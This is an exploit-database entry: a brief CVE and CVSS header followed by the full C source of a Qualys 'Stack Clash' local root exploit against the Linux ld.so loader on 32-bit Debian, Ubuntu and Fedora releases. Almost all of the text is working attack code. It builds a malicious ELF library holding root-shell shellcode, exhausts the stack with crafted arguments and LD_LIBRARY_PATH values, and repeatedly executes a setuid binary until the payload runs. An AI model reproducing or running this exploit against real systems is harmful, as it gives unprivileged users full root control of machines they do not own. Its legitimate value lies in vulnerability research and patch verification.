Linux 'ldso_dynamic' Local Root Stack Clash Exploit

Published
Credit
Risk
2017.06.29
Qualys
Medium
CWE
CVE
Local
Remote
N/A
CVE-2017-1000371
Yes
No

CVSS Base Score
Impact Subscore
Exploitability Subscore
7.2/10
10/10
3.9/10
Exploit range
Attack complexity
Authentication
Local
Low
No required
Confidentiality impact
Integrity impact
Availability impact
Complete
Complete
Complete

/*
* Linux_ldso_dynamic.c for CVE-2017-1000366, CVE-2017-1000371
* Copyright (C) 2017 Qualys, Inc.
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/

#define _GNU_SOURCE
#include <elf.h>
#include <fcntl.h>
#include <limits.h>
#include <link.h>
#include <signal.h>
#include <stddef.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/param.h>
#include <sys/resource.h>
#include <sys/stat.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>

#define PAGESZ ((size_t)4096)
#define ALIGN ((size_t)16)

#define PIE_BASE ((uintptr_t)0x80000000)
#define PIE_RAND ((size_t)1<<20)

#define STACK_BASE ((uintptr_t)0xC0000000)
#define STACK_RAND ((size_t)8<<20)

#define MAX_ARG_STRLEN ((size_t)128<<10)

static const struct target * target;
static const struct target {
const char * name;
const char * repl_lib;
} targets[] = {
{
.name = "Debian 9 (stretch)",
.repl_lib = "lib/i386-linux-gnu",
},
{
.name = "Debian 10 (buster)",
.repl_lib = "lib/i386-linux-gnu",
},
{
.name = "Ubuntu 14.04.5 (Trusty Tahr)",
.repl_lib = "lib/i386-linux-gnu",
},
{
.name = "Ubuntu 16.04.2 (Xenial Xerus)",
.repl_lib = "lib/i386-linux-gnu",
},
{
.name = "Ubuntu 17.04 (Zesty Zapus)",
.repl_lib = "lib/i386-linux-gnu",
},
{
.name = "Fedora 23 (Server Edition)",
.repl_lib = "lib",
},
{
.name = "Fedora 24 (Server Edition)",
.repl_lib = "lib",
},
{
.name = "Fedora 25 (Server Edition)",
.repl_lib = "lib",
},
};

#define die() do { \
printf("died in %s: %u\n", __func__, __LINE__); \
exit(EXIT_FAILURE); \
} while (0)

static const ElfW(auxv_t) * my_auxv;

static unsigned long int
my_getauxval (const unsigned long int type)
{
const ElfW(auxv_t) * p;

if (!my_auxv) die();
for (p = my_auxv; p->a_type != AT_NULL; p++)
if (p->a_type == type)
return p->a_un.a_val;
die();
}

struct elf_info {
uintptr_t map_start, map_end;
uintptr_t dyn_start, dyn_end;
};

static struct elf_info
get_elf_info(const char * const binary)
{
static struct elf_info elf;
const int fd = open(binary, O_RDONLY | O_NOFOLLOW);
if (fd <= -1) die();
struct stat st;
if (fstat(fd, &st)) die();
if (!S_ISREG(st.st_mode)) die();
if (st.st_size <= 0) die();
#define SAFESZ ((size_t)64<<20)
if (st.st_size >= (ssize_t)SAFESZ) die();
const size_t size = st.st_size;
uint8_t * const buf = malloc(size);
if (!buf) die();
if (read(fd, buf, size) != (ssize_t)size) die();
if (close(fd)) die();

if (size <= sizeof(ElfW(Ehdr))) die();
const ElfW(Ehdr) * const ehdr = (const ElfW(Ehdr) *)buf;
if (ehdr->e_ident[EI_MAG0] != ELFMAG0) die();
if (ehdr->e_ident[EI_MAG1] != ELFMAG1) die();
if (ehdr->e_ident[EI_MAG2] != ELFMAG2) die();
if (ehdr->e_ident[EI_MAG3] != ELFMAG3) die();
if (ehdr->e_ident[EI_CLASS] != ELFCLASS32) die();
if (ehdr->e_ident[EI_DATA] != ELFDATA2LSB) die();
if (ehdr->e_type != ET_DYN) die();
if (ehdr->e_machine != EM_386) die();
if (ehdr->e_version != EV_CURRENT) die();
if (ehdr->e_ehsize != sizeof(ElfW(Ehdr))) die();
if (ehdr->e_phentsize != sizeof(ElfW(Phdr))) die();
if (ehdr->e_shentsize != sizeof(ElfW(Shdr))) die();
if (ehdr->e_phoff <= 0 || ehdr->e_phoff >= size) die();
if (ehdr->e_shoff <= 0 || ehdr->e_shoff >= size) die();
if (ehdr->e_phnum > (size - ehdr->e_phoff) / sizeof(ElfW(Phdr))) die();
if (ehdr->e_shnum > (size - ehdr->e_shoff) / sizeof(ElfW(Shdr))) die();

unsigned int i;
{
int interp = 0;
for (i = 0; i < ehdr->e_phnum; i++) {
const ElfW(Phdr) * const phdr = (const ElfW(Phdr) *)(buf + ehdr->e_phoff) + i;
if (phdr->p_type == PT_INTERP) interp = 1;
if (phdr->p_type != PT_LOAD) continue;
if (elf.map_start) die();

if (phdr->p_offset >= size) die();
if (phdr->p_filesz > size - phdr->p_offset) die();
if (phdr->p_filesz > phdr->p_memsz) die();
if (phdr->p_vaddr != phdr->p_paddr) die();
if (phdr->p_vaddr >= SAFESZ) die();
if (phdr->p_memsz >= SAFESZ) die();
if (phdr->p_memsz <= 0) die();
if (phdr->p_align != PAGESZ) die();

switch (phdr->p_flags) {
case PF_R | PF_X:
if (phdr->p_vaddr) die();
break;
case PF_R | PF_W:
elf.map_start = phdr->p_vaddr & ~(PAGESZ-1);
elf.map_end = (phdr->p_vaddr + phdr->p_memsz + PAGESZ-1) & ~(PAGESZ-1);
if (!elf.map_start) die();
break;
default:
die();
}
}
if (!interp) die();
if (!elf.map_start) die();
}
for (i = 0; i < ehdr->e_shnum; i++) {
const ElfW(Shdr) * const shdr = (const ElfW(Shdr) *)(buf + ehdr->e_shoff) + i;
if (!(shdr->sh_flags & SHF_ALLOC)) continue;
if (shdr->sh_size <= 0) die();
if (shdr->sh_size >= SAFESZ) die();
if (shdr->sh_addr >= SAFESZ) die();
#undef SAFESZ
const uintptr_t start = shdr->sh_addr;
const uintptr_t end = start + shdr->sh_size;

if (!(shdr->sh_flags & SHF_WRITE)) {
if (start < elf.map_end && end > elf.map_start) die();
continue;
}
if (start < elf.map_start || end > elf.map_end) die();
if (shdr->sh_type != SHT_DYNAMIC) continue;
if (shdr->sh_entsize != sizeof(ElfW(Dyn))) die();

if (elf.dyn_start) die();
elf.dyn_start = start;
elf.dyn_end = end;
if (!elf.dyn_start) die();
}
if (!elf.dyn_start) die();
free(buf);
return elf;
}

static void
create_needed_lib(const char * const needed)
{
static struct lib {
union {
struct {
ElfW(Ehdr) e;
ElfW(Phdr) p1;
ElfW(Phdr) p2;
ElfW(Phdr) p3;
} h;
char align[PAGESZ];
} u;
char code1[PAGESZ];
char code3[PAGESZ];
char code2[8<<20];
} lib = { .u = { .h = {
.e = {
.e_ident = {
ELFMAG0,
ELFMAG1,
ELFMAG2,
ELFMAG3,
ELFCLASS32,
ELFDATA2LSB,
EV_CURRENT,
ELFOSABI_SYSV,
0
},
.e_type = ET_DYN,
.e_machine = EM_386,
.e_version = EV_CURRENT,
.e_phoff = offsetof(struct lib, u.h.p1),
.e_ehsize = sizeof(ElfW(Ehdr)),
.e_phentsize = sizeof(ElfW(Phdr)),
.e_phnum = 3
},
.p1 = {
.p_type = PT_LOAD,
.p_offset = offsetof(struct lib, code1),
.p_vaddr = 0,
.p_filesz = sizeof(lib.code1),
.p_memsz = sizeof(lib.code1),
.p_flags = PF_R | PF_X,
.p_align = PAGESZ
},
.p2 = {
.p_type = PT_LOAD,
.p_offset = offsetof(struct lib, code2),
.p_vaddr = -(sizeof(lib.code2) + PAGESZ),
.p_filesz = sizeof(lib.code2),
.p_memsz = sizeof(lib.code2),
.p_flags = PF_R | PF_X,
.p_align = PAGESZ
},
.p3 = {
.p_type = PT_LOAD,
.p_offset = offsetof(struct lib, code3),
.p_vaddr = sizeof(lib.code1),
.p_filesz = sizeof(lib.code3),
.p_memsz = sizeof(lib.code3),
.p_flags = PF_R | PF_X,
.p_align = PAGESZ
}
}}};

static const char shellcode[] =
"\x83\xc4\x40\xb8\x17\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xb8"
"\x2e\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xb8\x3f\x00\x00\x00"
"\xbb\x00\x00\x00\x00\xb9\x01\x00\x00\x00\xcd\x80\xb8\x3f\x00\x00"
"\x00\xbb\x00\x00\x00\x00\xb9\x02\x00\x00\x00\xcd\x80\xb8\x0b\x00"
"\x00\x00\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\xba\x00"
"\x00\x00\x00\x52\x53\x89\xe1\xcd\x80\xb8\x01\x00\x00\x00\xbb\x00"
"\x00\x00\x00\xcd\x80";

memset(lib.code2, 0x90, sizeof(lib.code2));
if (sizeof(lib.code2) <= sizeof(shellcode)) die();
memcpy(lib.code2 + sizeof(lib.code2) - sizeof(shellcode), shellcode, sizeof(shellcode));

const int fd = open(needed, O_WRONLY | O_CREAT | O_TRUNC | O_NOFOLLOW, 0);
if (fd <= -1) die();
if (write(fd, &lib, sizeof(lib)) != (ssize_t)sizeof(lib)) die();
if (fchmod(fd, 0755)) die();
if (close(fd)) die();
}

static const char my_x86_platforms[4][5] = {
"i386", "i486", "i586", "i686"
};

int
main(const int my_argc, const char * const my_argv[], const char * const my_envp[])
{
{
const char * const * p = my_envp;
while (*p++) ;
my_auxv = (const void *)p;
}
if (my_getauxval(AT_PAGESZ) != PAGESZ) die();

if (my_argc != 1+2) {
printf("Usage: %s target binary\n", my_argv[0]);
size_t i;
for (i = 0; i < sizeof(targets)/sizeof(*targets); i++) {
printf("Target %zu %s\n", i, targets[i].name);
}
die();
}
{
const size_t i = strtoul(my_argv[1], NULL, 10);
if (i >= sizeof(targets)/sizeof(*targets)) die();
target = targets + i;
printf("Target %zu %s\n", i, target->name);
}
const char * const binary = realpath(my_argv[2], NULL);
if (!binary) die();
if (*binary != '/') die();
if (access(binary, R_OK | X_OK)) die();

const struct elf_info elf = get_elf_info(binary);
printf("map_start -> dyn_end = %u\n", elf.dyn_end - elf.map_start);
printf("dyn_start -> dyn_end = %u\n", elf.dyn_end - elf.dyn_start);
printf("dyn_start -> map_end = %u\n", elf.map_end - elf.dyn_start);
printf("dyn_end -> map_end = %u\n", elf.map_end - elf.dyn_end);

const char * const slash = strrchr(binary, '/');
if (!slash) die();
if (slash <= binary) die();
const char * const origin = strndup(binary, slash - binary);
if (!origin) die();
printf("origin %s (%zu)\n", origin, strlen(origin));

const char * const platform = (const void *)my_getauxval(AT_PLATFORM);
if (!platform) die();
const size_t platform_len = strlen(platform);
if (platform_len != 4) die();
{
size_t i;
for (i = 0; ; i++) {
if (i >= sizeof(my_x86_platforms) / sizeof(my_x86_platforms[0])) die();
if (strcmp(platform, my_x86_platforms[i]) == 0) break;
}
}
const struct {
const char * str;
size_t len;
size_t repl_len;
} DSTs[] = {
#define DST_LIB "LIB"
{ DST_LIB, strlen(DST_LIB), strlen(target->repl_lib) },
#define DST_PLATFORM "PLATFORM"
{ DST_PLATFORM, strlen(DST_PLATFORM), platform_len }
};
size_t repl_max = strlen(origin);
{
size_t i;
for (i = 0; i < sizeof(DSTs)/sizeof(*DSTs); i++) {
if (repl_max < DSTs[i].repl_len)
repl_max = DSTs[i].repl_len;
}
}
printf("repl_max %zu\n", repl_max);
if (repl_max < 4) die();

static struct {
double probability;
size_t len, gwr, cnt, dst;
} best;

#define LLP "LD_LIBRARY_PATH="
static char llp[MAX_ARG_STRLEN];
#define MAX_GWR (sizeof(llp) - sizeof(LLP))
{
size_t len;
for (len = MAX_GWR; len >= ALIGN; len -= ALIGN) {
size_t gwr;
for (gwr = len; gwr >= elf.dyn_end - elf.dyn_start; gwr--) {
size_t dst;
for (dst = 0; dst < sizeof(DSTs)/sizeof(*DSTs); dst++) {
const size_t cnt = (len - gwr) / (1 + DSTs[dst].len + 1);
const size_t gpj = (len + ((repl_max > 4) ? (cnt * (repl_max - 4)) : 0) + 1 + (ALIGN-1)) & ~(ALIGN-1);
const size_t bwr = cnt * (DSTs[dst].repl_len + 1) + ((len - gwr) - cnt * (1 + DSTs[dst].len + 1)) + 1;

if (gwr + bwr >= elf.map_end - elf.dyn_start) continue;
const size_t min = MIN(gwr, elf.dyn_end - elf.map_start);
if (gpj <= min + (elf.map_end - elf.dyn_end) + 3 * PAGESZ) continue;

const double probability = (double)min / (double)(PIE_RAND + STACK_RAND);
if (best.probability < probability) {
best.probability = probability;
best.len = len;
best.gwr = gwr;
best.cnt = cnt;
best.dst = dst;
printf("len %zu gpj %zu gwr %zu bwr %zu cnt %zu dst %zu repl %zu probability 1/%zu (%.10g)\n",
len, gpj, gwr, bwr, cnt, DSTs[dst].len, DSTs[dst].repl_len, (size_t)(1 / probability), probability);
}
}
}
}
}
if (!best.probability) die();
if (STACK_BASE <= PIE_BASE) die();
const size_t stack_size = (STACK_BASE - PIE_BASE) - (PIE_RAND/2 + elf.map_end + STACK_RAND/2);
printf("stack_size %zu\n", stack_size);

#define STRTAB_SIZE (2 * STACK_RAND)
#define NEEDED "./3456789abcdef"
if (sizeof(NEEDED) != ALIGN) die();
static union {
uintptr_t p;
char s[sizeof(void *)];
} strtab_addr;
{
static const ElfW(Dyn) dyn;
if (sizeof(strtab_addr) != sizeof(dyn.d_un)) die();
if (sizeof(strtab_addr.p) != sizeof(dyn.d_un)) die();
if (sizeof(strtab_addr.s) != sizeof(dyn.d_un)) die();
}
{
uintptr_t needed_addr = STACK_BASE - STACK_RAND/2 - STRTAB_SIZE/2;
const uintptr_t first_needed_addr = needed_addr;
for (;; needed_addr += sizeof(NEEDED)) {
if (needed_addr % sizeof(NEEDED)) die();
strtab_addr.p = needed_addr / 2;
size_t i;
for (i = 0; i < sizeof(strtab_addr.s); i++) {
if (strchr("$:;\\", strtab_addr.s[i])) {
if (i >= 3) die();
break;
}
}
if (i >= sizeof(strtab_addr.s)) break;
}
printf("needed %08x -> %08x (first %08x -> %08x)\n",
needed_addr, strtab_addr.p, first_needed_addr,
needed_addr - first_needed_addr);
if (needed_addr < first_needed_addr) die();
if (needed_addr - first_needed_addr >= STACK_RAND / 4) die();
}
#define INITIAL_STACK_EXPANSION (131072UL)
const size_t needed_envs = STRTAB_SIZE / sizeof(NEEDED);
if (needed_envs < INITIAL_STACK_EXPANSION / sizeof(char *)) die();

static char clash[MAX_ARG_STRLEN];
memset(clash, ' ', sizeof(clash)-1);
if ((strlen(clash) + 1) % ALIGN) die();
const size_t clash_envs = (stack_size - sizeof(llp) - needed_envs * (sizeof(char *) + sizeof(NEEDED)))
/ (sizeof(char *) + sizeof(clash));
printf("#needed %zu #clash %zu\n", needed_envs, clash_envs);

{
char * cp = mempcpy(llp, LLP, sizeof(LLP)-1);
memset(cp, '/', best.len);
const char * const bwrp = cp + best.gwr;
cp += elf.dyn_start % ALIGN;
if (cp >= bwrp) die();
{
static const ElfW(Dyn) dyn;
for (; bwrp - cp >= (ptrdiff_t)sizeof(dyn); cp += sizeof(dyn)) {
ElfW(Dyn) * const dynp = (void *)cp;
dynp->d_tag = DT_AUXILIARY;
dynp->d_un.d_ptr = strtab_addr.p;
}
}
if (cp > bwrp) die();
cp = (char *)bwrp;
if (!best.cnt) die();
if (best.dst >= sizeof(DSTs)/sizeof(*DSTs)) die();
size_t i;
for (i = 0; i < best.cnt; i++) {
*cp++ = '$';
cp = mempcpy(cp, DSTs[best.dst].str, DSTs[best.dst].len);
*cp++ = '/';
}
if (cp >= llp + sizeof(llp)) die();
if ((strlen(llp) + 1) % ALIGN) die();
if ((strlen(llp) + 1) != sizeof(LLP) + best.len) die();
}

#define LHCM "LD_HWCAP_MASK="
static char lhcm[64];
{
const int width = ALIGN - (sizeof(LHCM) + strlen(binary) + 1 + sizeof(void *)) % ALIGN;
if (width <= 0) die();
if ((unsigned int)width > ALIGN) die();
if ((unsigned int)snprintf(lhcm, sizeof(lhcm), "%s%0*u", LHCM, width, 0)
>= sizeof(lhcm)) die();
if (strlen(lhcm) + 1 != sizeof(LHCM) + width) die();
}

const size_t args = 2 + clash_envs + needed_envs + 1;
char ** const argv = calloc(args, sizeof(char *));
if (!argv) die();
{
char ** ap = argv;
*ap++ = (char *)binary;
*ap++ = "--help";
size_t i;
for (i = 0; i < clash_envs; i++) {
*ap++ = clash;
}
for (i = 0; i < needed_envs; i++) {
*ap++ = NEEDED;
}
*ap++ = NULL;
if (ap != argv + args) die();
}

const size_t envs = 1 + 2;
char ** const envp = calloc(envs, sizeof(char *));
if (!envp) die();
{
char ** ep = envp;
*ep++ = llp;
*ep++ = lhcm;
*ep++ = NULL;
if (ep != envp + envs) die();
}

{
static const struct rlimit rlimit_stack = { RLIM_INFINITY, RLIM_INFINITY };
if (setrlimit(RLIMIT_STACK, &rlimit_stack)) die();
}
int pipefd[2];
if (pipe(pipefd)) die();
if (close(pipefd[0])) die();
pipefd[0] = -1;
if (signal(SIGPIPE, SIG_DFL) == SIG_ERR) die();

create_needed_lib(NEEDED);

size_t try;
for (try = 1; try <= 65536; try++) {
if (fflush(stdout)) die();
const pid_t pid = fork();
if (pid <= -1) die();
if (pid == 0) {
if (dup2(pipefd[1], 1) != 1) die();
if (dup2(pipefd[1], 2) != 2) die();
execve(*argv, argv, envp);
die();
}
int status = 0;
struct timeval start, stop, diff;
if (gettimeofday(&start, NULL)) die();
if (waitpid(pid, &status, WUNTRACED) != pid) die();
if (gettimeofday(&stop, NULL)) die();
timersub(&stop, &start, &diff);
printf("try %zu %ld.%06ld ", try, diff.tv_sec, diff.tv_usec);

if (WIFSIGNALED(status)) {
printf("signal %d\n", WTERMSIG(status));
switch (WTERMSIG(status)) {
case SIGPIPE:
case SIGSEGV:
case SIGBUS:
break;
default:
die();
}
} else if (WIFEXITED(status)) {
printf("exited %d\n", WEXITSTATUS(status));
} else if (WIFSTOPPED(status)) {
printf("stopped %d\n", WSTOPSIG(status));
die();
} else {
printf("unknown %d\n", status);
die();
}
}
die();
}


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